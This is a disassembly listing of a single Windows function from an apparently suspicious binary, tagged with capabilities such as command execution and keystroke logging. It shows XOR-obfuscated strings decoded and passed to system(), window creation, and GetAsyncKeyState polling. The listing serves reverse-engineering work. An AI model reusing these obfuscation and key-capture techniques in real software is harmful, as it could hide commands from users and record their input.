Function at 0x140063e90
Capabilities:
Authenticate hmac
Execute command
Log keystrokes via polling
Parse pe header
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6c0]
sub rsp, 0x7c0
mov rax, qword [0x140168080]
xor rax, rsp
mov qword [rbp + 0x610], rax
call fcn.140061120
xor eax, eax
lea rcx, [rbp + 0x360]
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x358], rax
call fcn.140003270
lea rcx, [rbp + 0x360]
call fcn.1400691f0
mov r8b, 0x6c
mov byte [rsp + 0x70], reloc.WLDAP32.dll_Ordinal_45
movzx r10d, r8b
movzx esi, r8b
movzx r15d, r8b
mov al, 0x61
mov r11b, 0x7d
xor r8b, 0x2d
movzx r9d, al
mov byte [rsp + 0x74], r8b
movzx ebx, r11b
lea r8, [rsp + 0x71]
mov cl, 0x62
mov dl, WSAGetLastError
xor cl, 0x2d
xor dl, 0x2d
xor al, 0x2d
mov byte [rsp + 0x72], cl
mov byte [rsp + 0x73], dl
lea rcx, [rbp + 0x240]
xor r9b, 0x2d
mov byte [rsp + 0x71], al
xor r10b, 0x2d
mov byte [rsp + 0x75], r9b
xor r11b, 0x2d
mov byte [rsp + 0x76], r10b
mov dil, 0x69
mov byte [rsp + 0x77], r11b
mov r14b, 0x79
lea rdx, [rbp + 0x358]
xor r12d, r12d
xor bl, 0x2d
xor dil, 0x2d
mov byte [rsp + 0x78], bl
xor sil, 0x2d
mov byte [rsp + 0x79], dil
xor r14b, 0x2d
mov byte [rsp + 0x7a], sil
xor r15b, 0x2d
mov byte [rsp + 0x7b], r14b
mov byte [rsp + 0x7c], r15b
mov byte [rsp + 0x7d], r12b
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x140063fe2
mov rdx, qword [rbp + 0x240]
test rdx, rdx
je 0x140063fe2
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], r12b
jne 0x140063fc0
lea rcx, [rbp + 0x360]
call fcn.140069960
mov rcx, qword [rbp + 0x240]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movdqa xmm1, xmmword [0x140155ad0]
mov r8, 0xffffffffffffffff
movd ecx, xmm1
movdqa xmm0, xmm1
movdqa xmm2, xmmword [0x140155b10]
movdqa xmm3, xmmword [0x140155950]
movdqu xmmword [rbp + 0x2b0], xmm2
xor byte [rbp + 0x2b1], cl
xor byte [rbp + 0x2b2], cl
xor byte [rbp + 0x2b3], cl
xor byte [rbp + 0x2b4], cl
xor byte [rbp + 0x2b5], cl
xor byte [rbp + 0x2b6], cl
xor byte [rbp + 0x2b7], cl
xor byte [rbp + 0x2b8], cl
xor byte [rbp + 0x2b9], cl
xor byte [rbp + 0x2ba], cl
xor byte [rbp + 0x2bb], cl
xor byte [rbp + 0x2bc], cl
xor byte [rbp + 0x2bd], cl
xor byte [rbp + 0x2be], cl
xor byte [rbp + 0x2bf], cl
movdqu xmmword [rbp + 0x2c0], xmm3
xor byte [rbp + 0x2c1], cl
xor byte [rbp + 0x2c2], cl
xor byte [rbp + 0x2c3], cl
xor byte [rbp + 0x2c4], cl
xor byte [rbp + 0x2c5], cl
xor byte [rbp + 0x2c6], cl
xor byte [rbp + 0x2c7], cl
xor byte [rbp + 0x2c8], cl
xor byte [rbp + 0x2c9], cl
xor byte [rbp + 0x2ca], cl
xor byte [rbp + 0x2cb], cl
xor byte [rbp + 0x2cc], cl
xor byte [rbp + 0x2cd], cl
movdqu xmmword [rbp + 0x2a0], xmm1
xor byte [rbp + 0x2a2], cl
xor byte [rbp + 0x2a3], cl
xor byte [rbp + 0x2a4], cl
xor byte [rbp + 0x2a5], cl
xor byte [rbp + 0x2a6], cl
xor byte [rbp + 0x2a7], cl
xor byte [rbp + 0x2a8], cl
xor byte [rbp + 0x2a9], cl
xor byte [rbp + 0x2aa], cl
xor byte [rbp + 0x2ab], cl
xor byte [rbp + 0x2ac], cl
xor byte [rbp + 0x2ad], cl
xor byte [rbp + 0x2ae], cl
xor byte [rbp + 0x2af], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp + 0x2cf], r12b
xor al, cl
mov byte [rbp + 0x2a1], al
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x2b0], al
movd eax, xmm3
xor al, cl
xor byte [rbp + 0x2ce], cl
mov byte [rbp + 0x2c0], al
lea rax, [rbp + 0x2a1]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140064160
lea rdx, [rbp + 0x2a1]
lea rcx, [rbp + 0x360]
call fcn.1400686e0
movdqa xmm1, xmmword [0x140155960]
mov r8b, 9
movd ecx, xmm1
movzx r14d, r8b
movdqa xmm2, xmmword [0x140155980]
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0x2b0], xmm2
xor byte [rbp + 0x2b1], cl
xor r8b, cl
xor byte [rbp + 0x2b2], cl
mov dl, 2
xor byte [rbp + 0x2b3], cl
xor dl, cl
xor byte [rbp + 0x2b4], cl
mov r9b, reloc.WS2_32.dll_ntohs
xor byte [rbp + 0x2b5], cl
xor r9b, cl
xor byte [rbp + 0x2b6], cl
mov r10b, reloc.WLDAP32.dll_Ordinal_30
xor byte [rbp + 0x2b7], cl
xor r10b, cl
xor byte [rbp + 0x2b8], cl
mov r11b, reloc.WS2_32.dll_listen
xor byte [rbp + 0x2b9], cl
xor r11b, cl
xor byte [rbp + 0x2ba], cl
mov bl, 0xa
xor byte [rbp + 0x2bb], cl
xor bl, cl
xor byte [rbp + 0x2bc], cl
mov dil, Ordinal_26
xor byte [rbp + 0x2bd], cl
xor dil, cl
xor byte [rbp + 0x2be], cl
mov sil, Ordinal_30
xor byte [rbp + 0x2bf], cl
xor sil, cl
movdqu xmmword [rbp + 0x2a0], xmm1
xor byte [rbp + 0x2a2], cl
xor byte [rbp + 0x2a3], cl
xor byte [rbp + 0x2a4], cl
xor byte [rbp + 0x2a5], cl
xor byte [rbp + 0x2a6], cl
xor byte [rbp + 0x2a7], cl
xor byte [rbp + 0x2a8], cl
xor byte [rbp + 0x2a9], cl
xor byte [rbp + 0x2aa], cl
xor byte [rbp + 0x2ab], cl
xor byte [rbp + 0x2ac], cl
xor byte [rbp + 0x2ad], cl
xor byte [rbp + 0x2ae], cl
xor byte [rbp + 0x2af], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp + 0x2c1], r8b
mov r8, 0xffffffffffffffff
mov byte [rbp + 0x2c0], dl
xor al, cl
mov byte [rbp + 0x2c2], r9b
mov byte [rbp + 0x2a1], al
movd eax, xmm2
mov byte [rbp + 0x2c3], r10b
mov byte [rbp + 0x2c4], r11b
xor al, cl
mov byte [rbp + 0x2c5], bl
xor r14b, cl
mov byte [rbp + 0x2b0], al
mov byte [rbp + 0x2c8], r14b
lea rax, [rbp + 0x2a1]
mov byte [rbp + 0x2c6], dil
mov byte [rbp + 0x2c7], sil
mov byte [rbp + 0x2c9], r12b
inc r8
cmp byte [rax + r8], r12b
jne 0x1400642f4
lea rdx, [rbp + 0x2a1]
lea rcx, [rbp + 0x360]
call fcn.1400686e0
lea rdx, [0x1401542a8]
lea rcx, [rbp + 0x3a8]
call fcn.140003110
lea rcx, [rbp + 0x308]
call fcn.140003270
lea rcx, [rbp + 0x308]
call fcn.1400691f0
xor edx, edx
lea rcx, [rbp + 0x410]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memset
mov r8b, 7
mov byte [rsp + 0x70], reloc.WS2_32.dll_WSAStartup
movzx esi, r8b
mov byte [rsp + 0x7d], r12b
movzx r15d, r8b
mov cl, 0x1c
movzx r10d, cl
xor r8b, 0x73
xor cl, 0x73
mov byte [rsp + 0x74], r8b
mov dl, 3
mov byte [rsp + 0x72], cl
xor dl, 0x73
lea r8, [rsp + 0x71]
mov al, 0x2f
mov byte [rsp + 0x73], dl
mov r9b, reloc.WLDAP32.dll_Ordinal_26
lea rcx, [rbp + 0x2a0]
mov r11b, Ordinal_30
lea rdx, [rbp + 0x360]
xor al, 0x73
xor r9b, 0x73
xor r10b, 0x73
mov byte [rsp + 0x71], al
xor r11b, 0x73
mov byte [rsp + 0x75], r9b
xor bl, bl
mov byte [rsp + 0x76], r10b
mov dil, 0x5d
mov byte [rsp + 0x77], r11b
mov r14b, listen
xor bl, 0x73
xor dil, 0x73
mov byte [rsp + 0x78], bl
xor sil, 0x73
mov byte [rsp + 0x79], dil
xor r14b, 0x73
mov byte [rsp + 0x7a], sil
xor r15b, 0x73
mov byte [rsp + 0x7b], r14b
mov byte [rsp + 0x7c], r15b
call fcn.140069b40
mov r14d, 1
lea rcx, [rbp + 0x410]
mov rdx, rax
mov dword [rsp + 0x20], r14d
mov r8d, r14d
lea r9d, [r14 + 0x3f]
call fcn.140067ef0
lea rcx, [rbp + 0x2a0]
call fcn.1400030b0
mov ebx, r12d
mov dword [rbp + 0x114], r12d
mov r13d, r12d
mov dword [rbp - 0x80], ebx
cmp qword [rbp + 0x4a0], rbx
je 0x140066e3f
mov rax, qword [rbp + 0x410]
mov dl, 0xa
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x410]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x410]
call fcn.14006ec30
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14006483c
nop dword [rax]
movdqa xmm1, xmmword [0x140155a20]
mov cl, 0x57
movd r9d, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0x2a0], xmm1
mov dl, 0x63
mov r8b, WSAGetLastError
xor cl, r9b
psrldq xmm0, 1
xor byte [rbp + 0x2a2], r9b
xor dl, r9b
xor byte [rbp + 0x2a3], r9b
xor r8b, r9b
xor byte [rbp + 0x2a4], r9b
mov sil, 0x7a
xor byte [rbp + 0x2a5], r9b
mov r10b, WSAStartup
xor byte [rbp + 0x2a6], r9b
mov r11b, 0x26
xor byte [rbp + 0x2a7], r9b
movzx r12d, sil
xor byte [rbp + 0x2a8], r9b
xor r10b, r9b
xor byte [rbp + 0x2a9], r9b
xor r11b, r9b
xor byte [rbp + 0x2aa], r9b
xor sil, r9b
xor byte [rbp + 0x2ab], r9b
xor r12b, r9b
xor byte [rbp + 0x2ac], r9b
mov bl, WSAGetLastError
xor byte [rbp + 0x2ad], r9b
xor bl, r9b
xor byte [rbp + 0x2ae], r9b
mov dil, 0x67
xor byte [rbp + 0x2af], r9b
xor dil, r9b
movd eax, xmm0
mov r14b, 0x7f
mov byte [rbp + 0x2b0], cl
xor r14b, r9b
mov byte [rbp + 0x2b1], dl
lea rcx, [rbp + 0x308]
xor al, r9b
mov byte [rbp + 0x2b2], r8b
mov r15b, 0x69
mov byte [rbp + 0x2a1], al
xor r15b, r9b
mov byte [rbp + 0x2b3], r10b
mov r13b, 0x6c
mov byte [rbp + 0x2b4], r11b
xor r13b, r9b
mov byte [rbp + 0x2b5], bl
xor r8d, r8d
mov byte [rbp + 0x2b6], dil
lea rdx, [rbp + 0x2a1]
mov byte [rbp + 0x2b7], sil
mov byte [rbp + 0x2b8], r14b
mov byte [rbp + 0x2b9], r15b
mov byte [rbp + 0x2ba], r12b
mov byte [rbp + 0x2bb], r13b
mov byte [rbp + 0x2bc], 0
call fcn.140068660
cmp rax, 0xffffffffffffffff
je 0x140064640
xor r8d, r8d
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x308]
call fcn.1400686a0
lea rcx, [rbp + 0x118]
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x20], rcx
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x2a0]
lea r8, [rax + 1]
call fcn.140069210
xor edx, edx
lea rcx, [rbp + 0x2a0]
lea r8d, [rdx + 0xa]
call fcn.14005e0c0
lea rcx, [rbp + 0x2a0]
mov dword [rbp + 0x114], eax
mov r13d, eax
call fcn.1400030b0
jmp 0x140064647
mov r13d, dword [rbp + 0x114]
movdqa xmm1, xmmword [0x140155a70]
mov cl, reloc.WLDAP32.dll_Ordinal_45
movd r8d, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0x2a0], xmm1
mov dl, Ordinal_26
mov r9b, reloc.WS2_32.dll_socket
xor cl, r8b
psrldq xmm0, 1
xor byte [rbp + 0x2a2], r8b
xor dl, r8b
xor byte [rbp + 0x2a3], r8b
xor r9b, r8b
xor byte [rbp + 0x2a4], r8b
mov r10b, listen
xor byte [rbp + 0x2a5], r8b
xor r10b, r8b
xor byte [rbp + 0x2a6], r8b
mov r11b, 0x5c
xor byte [rbp + 0x2a7], r8b
xor r11b, r8b
xor byte [rbp + 0x2a8], r8b
mov bl, 1
xor byte [rbp + 0x2a9], r8b
xor bl, r8b
xor byte [rbp + 0x2aa], r8b
mov dil, 2
xor byte [rbp + 0x2ab], r8b
xor dil, r8b
xor byte [rbp + 0x2ac], r8b
xor sil, sil
xor byte [rbp + 0x2ad], r8b
xor sil, r8b
xor byte [rbp + 0x2ae], r8b
mov r14b, reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp + 0x2af], r8b
xor r14b, r8b
movd eax, xmm0
mov r15b, Ordinal_30
xor r15b, r8b
mov byte [rbp + 0x2b0], cl
mov byte [rbp + 0x2b1], dl
lea rcx, [rbp + 0x308]
xor al, r8b
mov byte [rbp + 0x2b2], r9b
mov r12b, 6
mov byte [rbp + 0x2a1], al
xor r12b, r8b
mov byte [rbp + 0x2b3], r10b
xor r8d, r8d
mov byte [rbp + 0x2b4], r11b
lea rdx, [rbp + 0x2a1]
mov byte [rbp + 0x2b5], bl
mov byte [rbp + 0x2b6], dil
mov byte [rbp + 0x2b7], sil
mov byte [rbp + 0x2b8], r14b
mov byte [rbp + 0x2b9], r15b
mov byte [rbp + 0x2ba], r12b
mov byte [rbp + 0x2bb], 0
call fcn.140068660
cmp rax, 0xffffffffffffffff
je 0x1400647e5
xor r8d, r8d
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x308]
call fcn.1400686a0
lea rcx, [rbp + 0x110]
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x20], rcx
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x2a0]
lea r8, [rax + 1]
call fcn.140069210
xor edx, edx
lea rcx, [rbp + 0x2a0]
lea r8d, [rdx + 0xa]
call fcn.14005e0c0
lea rcx, [rbp + 0x2a0]
mov dword [rbp - 0x80], eax
mov ebx, eax
call fcn.1400030b0
jmp 0x1400647e8
mov ebx, dword [rbp - 0x80]
mov rcx, qword [rbp + 0x410]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0x410]
add rcx, rdx
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x410]
call fcn.14006ec30
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140064490
xor r12d, r12d
lea r14d, [r12 + 1]
lea rcx, [rbp + 0x410]
call fcn.140067e50
xorps xmm0, xmm0
mov dword [rbp + 0x5c8], r12d
xor eax, eax
mov word [rbp + 0x5c8], bx
movups xmmword [rbp + 0x5ec], xmm0
mov word [rbp + 0x5f0], bx
mov cl, WSAGetLastError
mov dword [rbp + 0x60c], eax
xor cl, 7
mov dl, 0x69
mov byte [rsp + 0x62], cl
xor dl, 7
mov dword [rbp + 0x5c0], r14d
mov al, 0x4a
mov byte [rsp + 0x63], dl
mov r8b, 0x62
mov dword [rbp + 0x5f4], 2
mov r9b, 0x64
mov byte [rsp + 0x60], 7
mov r10b, 0x75
lea rdx, [rsp + 0x61]
mov r11b, 0x66
xor al, 7
xor r8b, 7
mov byte [rsp + 0x61], al
xor r9b, 7
mov byte [rsp + 0x64], r8b
xor r10b, 7
mov byte [rsp + 0x65], r9b
xor r11b, 7
mov byte [rsp + 0x66], r10b
movups xmmword [rbp + 0x5dc], xmm0
mov bl, 0x61
mov dword [rbp + 0x5e8], r14d
mov dil, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x67], r11b
xor bl, 7
xor esi, esi
xor dil, 7
mov byte [rsp + 0x68], bl
xor ecx, ecx
mov byte [rsp + 0x69], dil
movups xmmword [rbp + 0x5cc], xmm0
mov byte [rsp + 0x6a], sil
movups xmmword [rbp + 0x5fc], xmm0
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1400649ba
movdqa xmm1, xmmword [0x1401559b0]
mov r8b, 0x52
movd ecx, xmm1
movzx r9d, r8b
movdqu xmmword [rbp - 0x68], xmm1
mov byte [rbp - 0x55], sil
mov dl, 0x47
xor byte [rbp - 0x66], cl
movdqa xmm0, xmm1
xor byte [rbp - 0x65], cl
xor dl, cl
xor byte [rbp - 0x64], cl
xor r8b, cl
xor byte [rbp - 0x63], cl
xor r9b, cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
xor byte [rbp - 0x59], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp - 0x58], dl
mov byte [rbp - 0x57], r8b
xor al, cl
mov byte [rbp - 0x56], r9b
lea rcx, [rbp - 0x67]
mov byte [rbp - 0x67], al
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x120]
mov qword [rbp + 0x120], 0xa
lea rcx, [rbp + 0x130]
call fcn.14006a330
mov rcx, rax
call fcn.14006f140
mov cl, 0x42
mov byte [rsp + 0x60], Ordinal_46
xor cl, 0x2b
mov byte [rsp + 0x6a], sil
mov dl, 0x45
mov byte [rsp + 0x62], cl
xor dl, 0x2b
mov al, 0x66
mov r8b, Ordinal_79
mov byte [rsp + 0x63], dl
mov r9b, 0x48
lea rdx, [rsp + 0x61]
mov r10b, 0x59
mov r11b, 0x4a
xor al, 0x2b
xor r8b, 0x2b
xor r9b, 0x2b
mov byte [rsp + 0x61], al
xor r10b, 0x2b
mov byte [rsp + 0x64], r8b
xor r11b, 0x2b
mov byte [rsp + 0x65], r9b
mov bl, 0x4d
mov byte [rsp + 0x66], r10b
mov dil, 0x5f
mov byte [rsp + 0x67], r11b
xor bl, 0x2b
xor dil, 0x2b
xor ecx, ecx
mov byte [rsp + 0x68], bl
mov byte [rsp + 0x69], dil
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [0x140062590]
lea rcx, [rbp + 0x3c8]
call fcn.14006f0b0
lea rdx, [0x1400623d0]
lea rcx, [rbp + 0x398]
call fcn.14006f0b0
lea rcx, [rbp + 0x398]
call fcn.14005e260
call fcn.140040e50
mov edx, reloc.WS2_32.dll_sendto
lea ecx, [rdx - 0xf]
call fcn.140062110
movsxd rdx, eax
lea rcx, [rbp + 0x338]
call fcn.140063770
lea rax, [0x1400670c0]
mov dword [rbp + 0x250], 0x50
xor ecx, ecx
mov qword [rbp + 0x258], rax
mov dword [rbp + 0x254], 0x40
mov qword [rbp + 0x260], rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp qword [rbp + 0x350], 0xf
lea rcx, [rbp + 0x250]
mov qword [rbp + 0x268], rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x270], xmm0
lea rax, [rbp + 0x338]
movdqa xmmword [rbp + 0x280], xmm1
cmova rax, qword [rbp + 0x338]
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], r12
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov edx, reloc.WS2_32.dll_sendto
mov ecx, r14d
call fcn.140062110
mov edx, reloc.WS2_32.dll_sendto
mov ecx, r14d
mov ebx, eax
call fcn.140062110
mov rcx, qword [rbp + 0x268]
lea r8, [rbp + 0x338]
cmp qword [rbp + 0x350], 0xf
mov qword [rsp + 0x58], r12
cmova r8, qword [rbp + 0x338]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov rdx, qword [rbp + 0x290]
mov r9d, 0x80000000
mov dword [rsp + 0x38], ebx
xor ecx, ecx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rcx, rax
mov qword [rbp + 0x130], rax
mov r15, rax
call fcn.140066eb0
test al, al
jne 0x140064c13
call fcn.140066fd0
mov rdx, qword [rbp + 0x268]
mov rcx, qword [rbp + 0x290]
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea rcx, [rbp + 0x338]
call fcn.1400030b0
cmp dword [rbp + 0x3a0], esi
jne 0x140064c0c
cmp dword [rbp + 0x3d0], esi
jne 0x140064c0c
lea rcx, [rbp + 0x4c0]
call fcn.140067e90
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x308]
call fcn.1400030b0
lea rcx, [rbp + 0x3a8]
call fcn.1400030b0
lea rcx, [rbp + 0x360]
call fcn.1400030b0
mov eax, r14d
jmp 0x140066e7e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
movaps xmmword [rsp + 0x7a0], xmm7
xor edx, edx
movaps xmmword [rsp + 0x790], xmm8
mov rcx, r15
movaps xmmword [rsp + 0x780], xmm9
movaps xmmword [rsp + 0x770], xmm10
movaps xmmword [rsp + 0x760], xmm11
movaps xmmword [rsp + 0x750], xmm12
movaps xmmword [rsp + 0x740], xmm13
movaps xmmword [rsp + 0x730], xmm14
movaps xmmword [rsp + 0x720], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r15
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89_WIP
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37f0
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x438
call fcn.1400176d0
xor ecx, ecx
call fcn.14000a280
call fcn.14000a360
xor ecx, ecx
mov qword [rbp + 0x128], rax
mov r14, rax
or dword [rax], 0x401
call fcn.1400336f0
call fcn.140007240
test dword [r14], 0x400
mov rdi, rax
mov qword [rbp + 0x120], rax
je 0x140064cf8
mov dword [rax + 0x10], r12d
mov dword [rax + 0xf4], 0x3f800000
movss xmm14, dword [0x140155740]
lea rcx, [rbp + 0x300]
movaps xmm2, xmm14
mov dword [rax + 0x10], 0x40800000
movaps xmm1, xmm14
mov dword [rax + 0x44], 0x40800000
mov dword [rax + 0x2c], 0x40800000
mov dword [rax + 0x88], 0x40800000
mov dword [rax + 0x34], 0x40800000
mov dword [rax + 0x78], 0x40800000
mov dword [rax + 0x80], 0x40800000
mov dword [rax + 0x84], 0x40800000
mov dword [rax + 0x48], 0x3f800000
call fcn.140004600
movss xmm1, dword [0x14015561c]
lea rcx, [rbp + 0x300]
movaps xmm2, xmm1
movsd xmm0, qword [rax]
movsd qword [rdi + 0x18], xmm0
call fcn.140004600
mov rcx, r15
movsd xmm0, qword [rax]
movsd qword [rdi + 0x20], xmm0
call fcn.14003ea60
mov rdx, qword [0x140169110]
mov rcx, qword [0x1401690c0]
call fcn.14003e430
lea rcx, [rbp + 0x520]
call fcn.140037d50
movss xmm3, dword [0x1401556f4]
lea rdx, [0x1400e2250]
mov byte [rbp + 0x568], 1
mov r8d, 0x3afb6
mov byte [rbp + 0x540], 1
mov rcx, qword [r14 + 0x50]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call fcn.140038590
movss xmm7, dword [0x140155704]
lea rax, [0x140155518]
mov rcx, qword [r14 + 0x50]
lea rdx, [0x14011d210]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm7
lea rax, [rbp + 0x520]
mov r8d, 0x34b5f
mov qword [rsp + 0x20], rax
call fcn.140038590
movss xmm9, dword [0x140155664]
lea rcx, [rbp + 0x328]
movss xmm3, dword [0x140155624]
movss xmm2, dword [0x140155620]
movss xmm1, dword [0x140155614]
movss dword [rsp + 0x20], xmm9
mov dword [rbp + 0x2d4], 0x3f400000
mov dword [rbp + 0x2f8], 0x3f4ccccd
mov dword [rbp + 0x2e8], 0x3f19999a
mov dword [rbp + 0x238], esi
mov dword [rbp + 0x234], esi
mov dword [rbp + 0x230], esi
mov byte [rbp + 0x2d0], sil
call fcn.140004610
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm9
xorps xmm2, xmm2
lea rcx, [rbp + 0x2d8]
xorps xmm1, xmm1
call fcn.140004610
movss xmm13, dword [0x140155724]
xor bl, bl
movss xmm11, dword [0x1401556a8]
mov esi, 0xffff8001
movss xmm15, dword [0x140155754]
mov r15d, 1
movss xmm8, dword [0x1401557c0]
movss xmm10, dword [0x14015571c]
movss xmm12, dword [0x1401556c4]
mov dword [rbp - 0x80], ebx
movaps xmmword [rsp + 0x7b0], xmm6
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, [rbp + 0x3d8]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140064f61
nop
lea rcx, [rbp + 0x3d8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x3d8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x3e0], 0x12
lea rcx, [rbp + 0x3d8]
movzx ebx, bl
cmove ebx, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140064f10
mov dword [rbp - 0x80], ebx
test bl, bl
jne 0x140066d96
call fcn.14003e690
call fcn.14003fa90
call fcn.14000c290
xorps xmm0, xmm0
mov dword [rbp + 0x380], Ordinal_33
xor eax, eax
lea rcx, [rbp + 0x380]
movups xmmword [rbp + 0x384], xmm0
mov dword [rbp + 0x394], eax
call qword [sym.imp.USER32.dll_GetCursorInfo]
test eax, eax
je 0x140064fba
mov eax, dword [rbp + 0x384]
test eax, eax
jne 0x140064faf
mov byte [0x140168fcb], al
jmp 0x140064fba
cmp eax, 1
jne 0x140064fba
mov byte [0x140168fcb], al
mov ecx, dword [0x1401690a4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140064fd8
cmp byte [0x140168fcf], 0
sete byte [0x140168fcf]
mov ecx, dword [0x140169118]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140064ff6
cmp byte [reloc.WS2_32.dll_accept], 0
sete byte [0x14016815d]
cmp byte [0x14016907c], 0
je 0x14006502a
mov ebx, 8
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, si
je 0x14006501d
inc ebx
cmp ebx, 0xbe
jle 0x140065004
jmp 0x14006502a
mov dword [0x1401690a4], ebx
mov byte [0x14016907c], 0
cmp byte [0x140168fcd], 0
je 0x14006507f
mov ebx, 8
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, si
je 0x140065051
inc ebx
cmp ebx, 0xbe
jle 0x140065038
jmp 0x14006505e
mov dword [0x140169118], ebx
mov byte [0x140168fcd], 0
mov ecx, 4
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14006507f
mov dword [0x140169118], 4
mov byte [0x140168fcd], 0
cmp byte [0x140168fce], 0
je 0x1400650b6
mov ebx, 8
nop dword [rax]
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, si
je 0x1400650a9
inc ebx
cmp ebx, 0xbe
jle 0x140065090
jmp 0x1400650b6
mov dword [0x14016909c], ebx
mov byte [0x140168fce], 0
cmp byte [0x140168fc9], 0
je 0x1400650ea
mov ebx, 8
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, si
je 0x1400650dd
inc ebx
cmp ebx, 0xbe
jle 0x1400650c4
jmp 0x1400650ea
mov dword [0x1401690ac], ebx
mov byte [0x140168fc9], 0
cmp byte [0x14016907d], 0
je 0x14006511e
mov ebx, 8
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, si
je 0x140065111
inc ebx
cmp ebx, 0xbe
jle 0x1400650f8
jmp 0x14006511e
mov dword [0x140169078], ebx
mov byte [0x14016907d], 0
movss xmm2, dword [rbp + 0x2e8]
lea rax, [rbp + 0x230]
movss xmm1, dword [rbp + 0x2f8]
lea r9, [rbp + 0x238]
movss xmm0, dword [rbp + 0x2d4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x234]
mov qword [rsp + 0x20], rax
call fcn.140006c30
movss xmm3, dword [rbp + 0x230]
lea rcx, [rbp + 0x210]
movss xmm2, dword [rbp + 0x234]
movss xmm1, dword [rbp + 0x238]
movss dword [rsp + 0x20], xmm9
call fcn.140004610
cmp byte [rbp + 0x2d0], 0
